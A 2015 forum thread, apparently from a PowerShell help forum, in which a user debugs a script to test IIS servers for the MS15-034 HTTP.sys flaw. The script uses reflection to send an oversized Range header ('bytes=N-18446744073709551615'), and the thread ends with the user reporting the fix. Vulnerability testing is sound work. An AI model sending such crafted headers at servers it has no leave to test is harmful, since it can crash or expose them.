This topic contains 4 replies, has 2 voices, and was last updated by
April 16, 2015 at 6:32 am #24352
See here (https://isc.sans.edu/forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583/#33943)
There is known exploit in the wild and we do not powershell way to test it. The one specified in this article does not work as AddRange would not allow to enter number bigger then Int64 and hence fail.
We need to use Private method within WebHeader collection but I'm stuck since code below does not return actual object which it shall.
[System.Net.WebHeaderCollection].GetType().GetMethod("AddWithoutValidate", 36) -eq $null
April 16, 2015 at 6:46 am #24353KeymasterPoints: 1,673Rank: Community Hero
That code is performing a comparison, and it's always going to return $true or $false as a result.
April 16, 2015 at 6:49 am #24355
Correct and it's always return $null, that means this object is not created which is needed to test code exploit since AddRange() method only accepts Int64 when in fact it needs to accept UInt64 and the only way to do that is to use this protected method which shall work but in Powershell it's not instantiated.
April 16, 2015 at 6:50 am #24356
Actual code is below which does not work due the issue mentioned
for ($inc=1;$inc++;$inc -le 1844674407370955161)
[System.Reflection.MethodInfo] $method = [System.Net.WebHeaderCollection].GetType().GetMethod("AddWithoutValidate",([System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic));
$params = @("Range", "bytes=$inc-18446744073709551615")
$method.Invoke( $httprequest.Headers, $params)
$response = $httprequest.GetResponse();
April 16, 2015 at 7:34 am #24360
Found it out. No need to GetType() after type, this works otherwise.
The topic ‘Powershell script to test latest HTTP vulnerability’ is closed to new replies.